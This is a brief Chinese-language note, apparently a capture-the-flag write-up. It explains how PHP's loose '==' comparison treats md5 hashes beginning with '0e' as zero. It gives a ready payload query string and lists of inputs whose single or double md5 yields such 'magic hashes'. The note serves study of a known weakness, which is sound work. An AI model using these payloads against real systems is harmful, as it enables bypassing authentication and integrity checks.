$a=(string)$_GET['a'];
$b=(string)$_GET['b'];
$a !== $b
md5($a) == md5($b)
强制类型变换后如果传入数组,则$a===$b===string(5) “Array”
绕过方法:md5后都为0弱比较,
原理:为0e开头的在进行==弱比较时会被识别为科学记数法,结果均为0,所以只需找两个md5后都为0e开头且0e后面均为数字的值即可。
payload:
?a=QNKCDZO&b=240610708
附1:md5开头为0e
- QNKCDZO
- 240610708
- s878926199a
- s155964671a
- s214587387a
附2:两次md5开头为0e
- CbDLytmyGm2xQyaLNhWn
- 770hQgrBOjrcqftrlaZk
- 7r4lGXCH2Ksu2JNT3BYM